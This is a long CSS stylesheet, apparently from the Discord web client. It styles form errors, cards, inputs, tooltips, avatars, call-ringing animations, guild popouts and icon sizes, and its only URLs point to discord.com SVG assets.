.select-2TCrqx.error-3S-7y9 .errorMessage-1Y9q-X { font-size: 14px; line-height: 20px; margin-top: 8px; color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.divider-3573oO { width: 100%; height: 1px; border-top: thin solid var(--background-modifier-accent); }

.hiddenVisually-3S9wil, .showOnFocus-2YoNv9:not(:focus-within) { clip: rect(0px, 0px, 0px, 0px); clip-path: inset(50%); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; }

.label-3g2yOo { cursor: default; display: block; -webkit-box-flex: 1; flex: 1 1 0%; font-family: var(--font-display); font-size: 12px; font-weight: 600; line-height: 16px; text-transform: uppercase; }

.defaultMargin-2uTxfI, .label-3g2yOo { margin-bottom: 8px; }

.disabled-1Yz_o5 { opacity: 0.5; cursor: not-allowed; }

.required-3jH2WG { color: var(--text-danger); padding-left: 4px; }

.card-3Qj_Yx { position: relative; border-width: 1px; border-style: solid; border-radius: 5px; }

.card-3Qj_Yx a:hover { text-decoration: underline; }

.cardBrand-39zmMQ a, .cardDanger-ZurOv3 a, .cardSuccess-3uEYjj a, .cardWarning-2yPNAa a { font-weight: 700; }

.cardDanger-ZurOv3 { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.cardDanger-ZurOv3, .cardDangerOutline-3t0Do9 { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.cardWarning-2yPNAa { background-color: var(--status-warning-background); }

.cardWarning-2yPNAa, .cardWarningOutline-1cs56O { border-color: var(--status-warning-background); }

.cardSuccess-3uEYjj { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.cardSuccess-3uEYjj, .cardSuccessOutline-1Su_ab { border-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.cardBrand-39zmMQ { background-color: var(--brand-experiment); }

.cardBrand-39zmMQ, .cardBrandOutline-3jvFfo { border-color: var(--brand-experiment); }

.cardPrimary-1Hv-to, .cardPrimaryEditable-3KtE4g, .cardPrimaryOutline-29Ujqw, .cardPrimaryOutlineEditable-PEnpzz { }

.card-3Qj_Yx a { color: var(--text-link); }

.cardBrand-39zmMQ a, .cardDanger-ZurOv3 a, .cardSuccess-3uEYjj a, .cardWarning-2yPNAa a { color: rgb(255, 255, 255); }

.cardPrimary-1Hv-to { background: var(--deprecated-card-bg); }

.cardPrimary-1Hv-to, .cardPrimaryEditable-3KtE4g { border-color: var(--background-tertiary); }

.cardPrimaryEditable-3KtE4g { background: var(--deprecated-card-editable-bg); }

.cardPrimaryOutline-29Ujqw { border-color: var(--background-tertiary); }

.formText-3fs7AJ a:hover { text-decoration: underline; }

.formText-3fs7AJ strong { font-weight: 600; }

.default-3nhoK-, .labelDescriptor-1PqHgD, .labelSelected-1I1cDg, .placeholder-1lCpWK { }

.labelSelected-1I1cDg { font-weight: 400; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .labelSelected-1I1cDg { font-weight: 500; }
}

.labelBold-1PKEeD { font-weight: 600; }

.description-3_Ncsb { font-size: 14px; line-height: 20px; font-weight: 400; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .description-3_Ncsb { font-weight: 500; }
}

.modeDefault-3a2Ph1 { cursor: default; }

.modeSelectable-k2b2pa { cursor: text; user-select: text; }

.modeDisabled-33Av8D { cursor: not-allowed; opacity: 0.3; }

.description-3_Ncsb, .labelDescriptor-1PqHgD { color: var(--header-secondary); }

.placeholder-1lCpWK { color: var(--text-muted); }

.error-2lqm14 { color: var(--text-danger); }

.error-2lqm14, .success-3DJRlX { }

.success-3DJRlX { color: var(--text-positive); }

.formNotice-2_hHWR { padding: 20px; cursor: default; }

.formNoticeTitle-2KGjDe { margin-bottom: 4px; }

.formNoticeBody-M4JFHP p { letter-spacing: -0.39px; margin: 0px 0px 12px; }

.formNoticeBody-M4JFHP p:last-child { margin-bottom: 0px; }

.formNoticeBody-M4JFHP u { text-decoration: none; font-style: italic; }

.icon-4lJsMQ { -webkit-user-drag: none; }

.whiteText-2PPsRK, .whiteText-2PPsRK a { color: rgb(255, 255, 255); }

.children-rWhLdy { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.children-rWhLdy, .sectionTitle-2vauyC { display: flex; }

.container-3bTSed { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.title-3Tw-c1 { margin-bottom: 8px; text-transform: uppercase; font-weight: 700; color: var(--interactive-normal); }

.inputs-14Hc7m { width: 100%; display: flex; -webkit-box-pack: justify; justify-content: space-between; margin-bottom: 4px; }

.inputDay-18OXiE { width: 100px; }

.inputMonth-IGgn-0 { width: 154px; }

.inputYear-2J502p { width: 120px; }

.errors-ArjaXz { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.modal-20TEfh { width: 432px; }

.content-2Kd1kH { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; padding: 16px; }

.image-3wnQf5 { width: 148px; height: 82px; background-image: url("https://discord.com/assets/d5f72aff96864249408bb1023ce606c4.svg"); align-self: center; }

.title-2SfZSl { margin-top: 20px; text-align: center; }

.description-24oYBj { margin-top: 8px; text-align: center; }

.description-24oYBj, .formItem-21QgGZ { margin-bottom: 16px; }

.inputWrapper-31_8H8 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.input-cIJ7To { font-size: 16px; box-sizing: border-box; width: 100%; border-radius: 3px; color: var(--text-normal); background-color: var(--deprecated-text-input-bg); border: 1px solid var(--deprecated-text-input-border); transition: border-color 0.2s ease-in-out 0s; }

.input-cIJ7To::-webkit-input-placeholder { user-select: none; color: var(--text-muted); }

.input-cIJ7To::placeholder { user-select: none; color: var(--text-muted); }

.input-cIJ7To:hover { border-color: var(--deprecated-text-input-border-hover); }

.input-cIJ7To.focused-1mmYsC, .input-cIJ7To:focus { border-color: var(--text-link); }

.input-cIJ7To.error-2O5WFJ { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.input-cIJ7To.success-2-F980 { border-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.input-cIJ7To.disabled-2BKQFm { border-color: var(--deprecated-text-input-border-disabled); }

.input-cIJ7To.editable-2UkCu4 { background-color: transparent; border-color: transparent; }

.inputDefault-_djjkz { padding: 10px; height: 40px; }

.inputMini-2xQV9P { line-height: 16px; padding: 4px 7px; height: 26px; }

.disabled-2BKQFm { user-select: none; cursor: not-allowed; opacity: 0.5; }

.focused-1mmYsC { border-color: var(--brand-experiment); opacity: 1; }

.inputPrefix-2VAOGg { font-size: 16px; user-select: none; position: absolute; height: 40px; padding-top: 10px; padding-left: 20px; line-height: normal; color: var(--text-muted); }

.theme-dark .inputPrefix-2VAOGg { opacity: 0.5; }

.spacing-28Gjbq { }

.error-1IOMCI { }

.card-30dMrN { padding: 10px; }

.warning-3KupJ6 { color: rgb(255, 255, 255); }

.formHeader-3ntgeL { overflow: visible; padding: 16px 16px 0px; }

.formContent-1vWZEJ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; justify-items: center; padding-bottom: 16px; }

.formImage-km1xqE { position: absolute; width: 88px; height: 80px; background-image: url("https://discord.com/assets/9ad7e2f1ba2b687392a451866e8c1e9e.svg"); }

.formTitle-29Lcxo { margin-bottom: 8px; margin-top: 95px; }

.formBody-3pY2Cl { text-align: center; }

.formBody-3pY2Cl, .formItem-9Gey9h { margin-bottom: 16px; }

.logoutButton-20GYNZ { margin: 4px auto auto; width: fit-content; }

.closeButton-3DtzaH { position: absolute; box-sizing: content-box; top: 12px; right: 4px; }

.successContent-3b2Ig4 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.successTitle-2wbpkm { margin-bottom: 12px; text-align: center; font-weight: 600; color: var(--header-primary); }

.successPromotion-3OUqFK { margin-bottom: 20px; text-align: center; color: var(--header-secondary); }

.successImage-2Tgulb { margin-top: 16px; margin-bottom: 16px; width: 104px; height: 80px; background-size: 100%; background-repeat: no-repeat; background-position: 50% center; background-image: url("https://discord.com/assets/ccd6653e4b9cedf670a9cb04cf266668.svg"); }

.modalLight-1SNwqJ { background-color: rgb(255, 255, 255); border-radius: 5px; }

.body-3kE9vV { padding: 24px; }

.headerIconContainer-3zvlVZ { margin-bottom: 24px; }

.iconBackground-1iJ6Oq { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); border-radius: 50%; height: 64px; width: 64px; }

.headerIcon-2HH87Q { color: var(--interactive-normal); }

.title-XH3OPd { margin-bottom: 8px; }

.subtitle-2gi0Yl, .title-XH3OPd { text-align: center; }

.content-1-UQqA { padding-top: 24px; padding-bottom: 24px; }

.iconBackground-1clSpP { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); border-radius: 50%; height: 64px; width: 64px; }

.headerIcon-3g95os { color: var(--header-primary); }

.subtitle-blOBaJ, .title-LSijZn { margin-top: 8px; text-align: center; }

.cancelButton-jTE1F3 { margin-right: 8px; }

.tooltip-2QfLtc { position: relative; border-radius: 5px; font-weight: 500; font-size: 14px; line-height: 16px; max-width: 190px; box-sizing: border-box; overflow-wrap: break-word; z-index: 1002; will-change: opacity, transform; }

.tooltipDisablePointerEvents-3eaBGN, .tooltipPointer-3ZfirK { pointer-events: none; }

.tooltipPointer-3ZfirK { width: 0px; height: 0px; border: 5px solid transparent; }

.tooltipContent-bqVLWK { padding: 8px 12px; overflow: hidden; }

.tooltipContentAllowOverflow-fFbpe9 { overflow: visible; }

.tooltipTop-XDDSxx { transform-origin: 50% 100%; }

.tooltipTop-XDDSxx .tooltipPointer-3ZfirK { position: absolute; top: 100%; left: 50%; margin-left: -5px; }

.tooltipBottom-3ARrEK, .tooltipCenter-2golRA { transform-origin: 50% 0px; }

.tooltipBottom-3ARrEK .tooltipPointer-3ZfirK, .tooltipCenter-2golRA .tooltipPointer-3ZfirK { position: absolute; bottom: 100%; left: 50%; margin-left: -5px; border-top-width: 5px; transform: rotate(180deg); }

.tooltipLeft-3EDOk1 { transform-origin: 100% 50%; }

.tooltipLeft-3EDOk1 .tooltipPointer-3ZfirK { position: absolute; left: 100%; top: 50%; margin-top: -5px; border-right-width: 5px; transform: rotate(-90deg); }

.tooltipRight-2JM5PQ { transform-origin: 0px 50%; }

.tooltipRight-2JM5PQ .tooltipPointer-3ZfirK { position: absolute; right: 100%; top: 50%; margin-top: -5px; border-left-width: 5px; transform: rotate(90deg); }

.theme-dark .tooltip-2QfLtc, .theme-light .tooltip-2QfLtc { box-shadow: var(--elevation-high); color: var(--text-normal); }

.theme-dark .tooltipPrimary-1d1ph4, .theme-light .tooltipPrimary-1d1ph4 { background-color: var(--background-floating); }

.theme-dark .tooltipPrimary-1d1ph4 .tooltipPointer-3ZfirK, .theme-light .tooltipPrimary-1d1ph4 .tooltipPointer-3ZfirK { border-top-color: var(--background-floating); }

.theme-dark .tooltipBlack-PPG47z, .theme-light .tooltipBlack-PPG47z { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); }

.theme-dark .tooltipBlack-PPG47z .tooltipPointer-3ZfirK, .theme-light .tooltipBlack-PPG47z .tooltipPointer-3ZfirK { border-top-color: rgb(0, 0, 0); }

.theme-dark .tooltipGrey-1hnvTt, .theme-light .tooltipGrey-1hnvTt { background-color: rgb(32, 34, 37); color: rgb(255, 255, 255); }

.theme-dark .tooltipGrey-1hnvTt .tooltipPointer-3ZfirK, .theme-light .tooltipGrey-1hnvTt .tooltipPointer-3ZfirK { border-top-color: rgb(32, 34, 37); }

.theme-dark .tooltipBrand-g03Nz8, .theme-light .tooltipBrand-g03Nz8 { color: rgb(255, 255, 255); background-color: var(--brand-experiment); }

.theme-dark .tooltipBrand-g03Nz8 .tooltipPointer-3ZfirK, .theme-light .tooltipBrand-g03Nz8 .tooltipPointer-3ZfirK { border-top-color: var(--brand-experiment); }

.theme-dark .tooltipRed-8-9NeP, .theme-light .tooltipRed-8-9NeP { color: rgb(255, 255, 255); background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .tooltipRed-8-9NeP .tooltipPointer-3ZfirK, .theme-light .tooltipRed-8-9NeP .tooltipPointer-3ZfirK { border-top-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .tooltipGreen-WdeQwd, .theme-light .tooltipGreen-WdeQwd { color: rgb(255, 255, 255); background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-dark .tooltipGreen-WdeQwd .tooltipPointer-3ZfirK, .theme-light .tooltipGreen-WdeQwd .tooltipPointer-3ZfirK { border-top-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-dark .tooltipYellow-E7eIBE, .theme-light .tooltipYellow-E7eIBE { color: var(--status-warning-text); background-color: var(--status-warning-background); }

.theme-dark .tooltipYellow-E7eIBE .tooltipPointer-3ZfirK, .theme-light .tooltipYellow-E7eIBE .tooltipPointer-3ZfirK { border-top-color: var(--status-warning-background); }

.dots-3Bkt3k { transform: translateZ(0px); pointer-events: none; color: rgb(255, 255, 255); }

.dots-3Bkt3k.themed-IQiCm3 { color: var(--text-normal); }

.mask-1qbNWk { display: block; }

.status-1AY8sU { width: 100%; height: 100%; }

.wrapper-3t9DeA { position: relative; border-radius: 50%; }

.pointer-2zj-Tb { cursor: pointer; }

.mask-1l8v16 { pointer-events: none; position: relative; display: block; height: 100%; width: auto; }

.status-1eOIMS, .svg-2V3M55 { position: absolute; }

.status-1eOIMS { bottom: 0px; right: 0px; height: auto; }

.cursorDefault-dsQJ1n { cursor: default; }

.avatarStack-2Dr8S9 { display: grid; width: 100%; height: 100%; }

.avatar-VxgULZ, .avatarSpeaking-2c8-9i { width: 100%; height: 100%; grid-area: 1 / 1 / auto / auto; }

.avatar-VxgULZ { display: block; object-fit: cover; pointer-events: none; }

.avatar-VxgULZ::before { content: ""; display: block; width: 100%; height: 100%; background-color: var(--background-modifier-accent); }

.avatarSpeaking-2c8-9i { box-shadow: inset 0 0 0 2px hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%),inset 0 0 0 3px var(--background-secondary); border-radius: 50%; }

.pointerEvents-2zdfdO { pointer-events: auto; }

@-webkit-keyframes outgoing-call-pulse-E6kWPF { 
  0% { opacity: 0; transform: scaleX(1); }
  11.56% { opacity: 1; }
  39.02% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  39.03% { transform: scaleX(1); }
  39.04% { opacity: 1; }
  66.48% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  100% { opacity: 0; transform: scaleX(1); }
}

@keyframes outgoing-call-pulse-E6kWPF { 
  0% { opacity: 0; transform: scaleX(1); }
  11.56% { opacity: 1; }
  39.02% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  39.03% { transform: scaleX(1); }
  39.04% { opacity: 1; }
  66.48% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  100% { opacity: 0; transform: scaleX(1); }
}

@-webkit-keyframes incoming-call-pulse-1fX7DI { 
  0% { opacity: 0; transform: scaleX(1); }
  0.7% { opacity: 1; }
  25.54% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  25.55% { transform: scaleX(1); }
  25.56% { opacity: 1; }
  49.98% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  49.99% { transform: scaleX(1); }
  50% { opacity: 1; }
  74.69% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  74.7% { transform: scaleX(1); }
  74.71% { opacity: 1; }
  100% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
}

@keyframes incoming-call-pulse-1fX7DI { 
  0% { opacity: 0; transform: scaleX(1); }
  0.7% { opacity: 1; }
  25.54% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  25.55% { transform: scaleX(1); }
  25.56% { opacity: 1; }
  49.98% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  49.99% { transform: scaleX(1); }
  50% { opacity: 1; }
  74.69% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
  74.7% { transform: scaleX(1); }
  74.71% { opacity: 1; }
  100% { opacity: 0; transform: scale3d(1.1, 1.1, 1); }
}

.clickable-1rK_Yk { cursor: pointer; }

.wrapper-2QE8vf { position: relative; }

.wrapper-2QE8vf.ringingOutgoing-mbXhhQ::after { animation: 2.5s ease-out 0s infinite normal none running outgoing-call-pulse-E6kWPF; }

.wrapper-2QE8vf.ringingIncoming-38YcLn::after, .wrapper-2QE8vf.ringingOutgoing-mbXhhQ::after { content: ""; position: absolute; pointer-events: none; left: -3px; top: -3px; width: 100%; height: 100%; border-radius: 100%; background: transparent; border: 3px solid var(--interactive-active); transform-origin: center center; }

.wrapper-2QE8vf.ringingIncoming-38YcLn::after { animation: 5.407s ease-out 0s infinite normal none running incoming-call-pulse-1fX7DI; }

.status-1WEaea { background-clip: padding-box; border-radius: 50%; padding: 4px; color: rgb(255, 255, 255); width: 16px; height: 16px; position: absolute; right: 0px; bottom: 0px; background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.voiceAvatar-14IynY { width: 100%; height: 100%; border-radius: 50%; position: inherit; }

.voiceAvatar-14IynY.ringingOutgoing-mbXhhQ { opacity: 0.3; }

.border-Jn5IOt { position: absolute; inset: 0px; border-radius: 50%; }

.border-Jn5IOt.speaking-B2MXPi { box-shadow: inset 0 0 0 2px hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%),inset 0 0 0 3px var(--background-floating); }

.app-focused .border-Jn5IOt { transition: box-shadow 0.1s ease-out 0s, -webkit-box-shadow 0.1s ease-out 0s; }

.overlay-39bWkM { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.6); position: absolute; inset: 0px; border-radius: 50%; }

.overlayIcon-1kEQWX { width: 32px; height: 32px; color: rgb(255, 255, 255); }

.callAvatarMask-1SLlRi { position: relative; overflow: visible; }

.container-2C7mVN { background-color: var(--background-floating); padding: 8px; border-radius: 4px; box-shadow: var(--elevation-high); max-height: 300px; }

.user-2T5PJS { -webkit-box-pack: start; justify-content: flex-start; padding: 8px; }

.user-2T5PJS, .username-14V20E { display: flex; -webkit-box-align: center; align-items: center; }

.avatar-1bMVrA { margin-right: 12px; opacity: 0.5; }

.blockedNotice-jpy2eh { display: flex; align-content: center; -webkit-box-align: center; align-items: center; margin-bottom: 24px; }

.blockedButton-1dIKR_ { font-size: 12px; margin-left: 4px; font-weight: 600; color: var(--text-link); cursor: pointer; }

.icon-YQXQbN { background-clip: padding-box; border-radius: 50%; padding: 2px; background-color: var(--background-accent); color: rgb(255, 255, 255); width: 12px; height: 12px; position: absolute; right: -2px; top: 0px; }

.userInfo-3TMaew { margin-left: 12px; }

.content-1zA5u9 { padding: 24px; }

.header-1ptJZH { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.footer-E3VztE { -webkit-box-pack: justify; justify-content: space-between; }

.description-CL3kMk { margin-top: 8px; }

.theme-dark .footer-E3VztE { background-color: var(--background-tertiary); }

.content-2xFTs5 { padding-top: 40px; }

.content-2xFTs5, .stageIconBackground-135TMe { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.stageIconBackground-135TMe { -webkit-box-pack: center; justify-content: center; background-color: var(--background-tertiary); border-radius: 50%; height: 80px; width: 80px; }

.stageIcon-165KZv { color: var(--header-primary); }

.headerTitle-lsNnIA { margin-bottom: 8px; margin-top: 8px; }

.buttonsContainer-23PQkw, .headerSubtitle-2482V5 { margin-bottom: 24px; }

.buttonsContainer-23PQkw { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; width: 100%; }

.button-1p2mJ5 { margin: 4px; width: 50%; }

.icon-1bkaIS, .innerButton-1Y5qJS { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.icon-1bkaIS { margin-right: 8px; }

.flowerStarContainer-3zDVtj { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: relative; }

.flowerStar-1GeTsn { width: 100%; height: 100%; }

.childContainer-1wxZNh { position: absolute; inset: -0.05px 0px 0px 0.05px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; pointer-events: none; }

.background-2uufRq { width: 16px; height: 16px; }

.hubContainer-2GsMAo { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: relative; }

.verified-1eC5dy { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.partnered-3nJayh { color: var(--brand-experiment); }

.hub-3tYS7n { }

.hub-3tYS7n > .icon-1ihkOt > circle { fill: var(--background-accent); }

.verifiedHub-1GBeCT { }

.verifiedHub-1GBeCT > .icon-1ihkOt > circle { fill: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.icon-1ihkOt { width: 100%; height: 100%; color: rgb(255, 255, 255); }

.size10-39i14u { font-size: 10px; }

.size12-3R0845 { font-size: 12px; }

.size14-3iUx6q { font-size: 14px; }

.size16-14cGz5 { font-size: 16px; }

.size18-3EXdSj { font-size: 18px; }

.size20-2QkeeC { font-size: 20px; }

.size22-3iBPR6 { font-size: 22px; }

.size24-1ONE4K { font-size: 24px; }

.size26-3MdnUv { font-size: 26px; }

.size36-3O_2zN { font-size: 36px; }

.noUserDrag-5Mb43F { -webkit-user-drag: none; }

.userSelectText-1o1dQ7 { user-select: text; }

.userSelectNone-Iy6XEP { user-select: none; }

.cursorDefault-331ZcI { cursor: default; }

.cursorPointer-1tw4YS { cursor: pointer; }

.guildPopout-3CgKqR { width: 250px; border-radius: 5px; overflow: hidden; max-height: calc(100vh - 20px); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.iconMask-AFPO7u { transition: box-shadow 0.2s ease-out 0s, transform 0.2s ease-out 0s, background 0.2s ease-out 0s, -webkit-box-shadow 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; padding: 4px; background-color: var(--activity-card-background); }

.unavailableIcon-e1M1SS { margin-bottom: 16px; transition: box-shadow 0.1s ease-out 0s, -webkit-box-shadow 0.1s ease-out 0s; color: var(--header-secondary); }

.iconWithSplash-19l002 { position: absolute; top: 94.6248px; }

.avatar-397jYv, .splashImage-3SgZ2f { width: 100%; height: 100%; }

.splashImage-3SgZ2f { max-height: 140px; object-fit: cover; }

.body-2Enz7L { padding: 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.body-2Enz7L.hasSplash-200jeH { padding-top: 58px; }

.guildNameWrapper-1Mauc8 { display: flex; -webkit-box-align: center; align-items: center; }

.guildName-vhRkcC { word-break: break-word; font-weight: 600; }

.badge-3CnxD1 { margin-right: 4px; }

.description-2CBrN8 { text-align: center; margin-top: 8px; }

.memberInfo-28ncC0 { display: flex; -webkit-box-align: center; align-items: center; margin-top: 16px; font-weight: 600; line-height: 1.25; color: var(--header-secondary); }

.memberCount-2WToxu { margin-right: 8px; }

.memberCount-2WToxu:last-child { margin-right: 0px; }

.dot-14zbHU { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 4px; margin-left: 4px; }

.dotOnline-3hjzjw { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.dotOffline-3gYNLJ { background-color: rgb(185, 187, 190); }

.memberText-21jAAz { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.footer-3OAEzG { background-color: var(--background-primary); max-width: 100%; padding: 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; align-self: stretch; }

.emojiHeader-1Mu53U { text-transform: uppercase; margin-bottom: 8px; }

.emojiContainer-3Wqma4 { display: flex; -webkit-box-align: center; align-items: center; margin-bottom: 16px; }

.emojiContainer-3Wqma4.withCounter-jpW8Nw { -webkit-box-pack: justify; justify-content: space-between; }

.emoji-270c6v { margin-right: 8px; }

.emojiCounter-1BHDd2 { background-color: var(--background-secondary); height: 24px; padding: 0px 8px; display: flex; -webkit-box-align: center; align-items: center; border-radius: 24px; }

@-webkit-keyframes placeholderPulse-2NB6YJ { 
  0% { opacity: 0.2; }
  50% { opacity: 0.5; }
  100% { opacity: 0.2; }
}

@keyframes placeholderPulse-2NB6YJ { 
  0% { opacity: 0.2; }
  50% { opacity: 0.5; }
  100% { opacity: 0.2; }
}

.placeholderSkeleton-2WHb-r { border-radius: 8px; background: rgb(114, 118, 125); opacity: 0.2; animation: 3s ease-in-out 0s infinite normal none running placeholderPulse-2NB6YJ; }

.splashPlaceholder-3eWUcT { width: 250px; height: 140.625px; border-radius: 0px; }

.iconPlaceholder-193bRZ { border-radius: 50%; width: 92px; height: 92px; margin-bottom: 16px; position: absolute; top: 94.6248px; }

.namePlaceholder-2Ciab4 { height: 18px; width: 170px; animation-delay: 0.2s; }

.memberInfoPlaceholder-MpPvk8, .namePlaceholder-2Ciab4 { margin: 2px 0px; }

.memberInfoPlaceholder-MpPvk8 { height: 12px; width: 70px; animation-delay: 0.3s; }

.viewButtonPlaceholder-1C07Fk { height: 128px; }

.unavailableHeader-2yDubR { margin-bottom: 8px; }

.theme-dark .guildPopout-3CgKqR { background-color: rgb(32, 34, 37); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px, rgba(32, 34, 37, 0.6) 0px 0px 0px 1px; }

.theme-dark .guildName-vhRkcC { color: rgb(255, 255, 255); }

.theme-light .guildPopout-3CgKqR { background-color: rgb(246, 246, 247); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px, rgba(185, 187, 190, 0.3) 0px 0px 0px 1px; }

.theme-light .guildName-vhRkcC { color: rgb(79, 86, 96); }

.grid-3zOaYR { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-auto-flow: row; gap: 8px; }

.speakerContainer-3fzTP5 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.avatar-2RRDp1 { margin-right: 8px; height: 20px !important; width: 20px !important; }

.iconMicrophone-2NQdPz, .speakerCount-1dovnu { background-color: var(--background-tertiary); }

.iconMicrophone-2NQdPz { height: 20px; width: 20px; margin-right: 8px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; color: var(--header-secondary); border-radius: 50%; }

.textInGridContainer-1gJIpb { max-width: 164px; }

.textInGrid-2YG-oL { max-width: 124px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

@media (max-width: 1200px) {
  .textInGrid-2YG-oL { max-width: 120px; }
}

.icon-3o6xvg { position: relative; background-clip: padding-box; background-position: 50% center; background-size: 100% 100%; }

.icon-3o6xvg .guildIconBadge-1PJHeq { position: absolute; right: -2px; bottom: -2px; width: 14px; height: 14px; }

.iconInactive-98JN5i { border-radius: 50%; }

.iconActiveMini-3PzjMn { border-radius: 6px; }

.iconActiveSmall-3IUUtn { border-radius: 9px; }

.iconActiveMedium-1UaEIR { border-radius: 12px; }

.iconActiveLarge-2nzn9z { border-radius: 15px; }

.iconActiveLarger-1L4Joi { border-radius: 16px; }

.iconActiveXLarge-_qKvKn { border-radius: 30px; }

.iconSizeSmol-2Dw61G { width: 16px; height: 16px; }

.iconSizeMini-3dKErj { width: 20px; height: 20px; }

.iconSizeSmaller-2whVAO { width: 24px; height: 24px; }

.iconSizeSmall-3aWgx9 { width: 30px; height: 30px; }

.iconSizeMedium-2OqPjI { width: 40px; height: 40px; }

.iconSizeLarge-161qtT { width: 50px; height: 50px; }

.iconSizeLarger-2MnpN2 { width: 64px; height: 64px; }

.iconSizeXLarge-1AvWOw { width: 100px; height: 100px; }

.acronym-1e2Mdt { overflow: hidden; white-space: nowrap; width: 100%; }

.noIcon-1a_FrS { background-color: var(--background-secondary); color: var(--text-normal); text-align: center; }

.noIcon-1a_FrS.iconSizeSmol-2Dw61G { line-height: 16px; }

.noIcon-1a_FrS.iconSizeMini-3dKErj { line-height: 20px; }

.noIcon-1a_FrS.iconSizeSmaller-2whVAO { line-height: 24px; }

.noIcon-1a_FrS.iconSizeSmall-3aWgx9 { line-height: 30px; }

.noIcon-1a_FrS.iconSizeMedium-2OqPjI { line-height: 40px; }

.noIcon-1a_FrS.iconSizeLarge-161qtT { line-height: 50px; }

.noIcon-1a_FrS.iconSizeLarger-2MnpN2 { line-height: 64px; }

.noIcon-1a_FrS.iconSizeXLarge-1AvWOw { line-height: 100px; }

.noAcronym-pYLF4V { background-color: var(--background-modifier-accent); }

.loadingPopout-qYljDW { background-color: var(--background-secondary); display: flex; -webkit-box-pack: center; justify-content: center; padding: 8px; }

.full-motion .translate-2dAEQ6.animatorTop-2Y7x2r { transform: translate3d(0px, -10px, 0px); }

.full-motion .translate-2dAEQ6.animatorBottom-fS5rNO { transform: translate3d(0px, 10px, 0px); }

.full-motion .translate-2dAEQ6.animatorLeft-1EQxU0 { transform: translate3d(-10px, 0px, 0px); }

.full-motion .translate-2dAEQ6.animatorRight-3i_YPs { transform: translate3d(10px, 0px, 0px); }

.full-motion .translate-2dAEQ6.animatorCenter-3Wx6K8 { transform: translate3d(0px, -10px, 0px); }

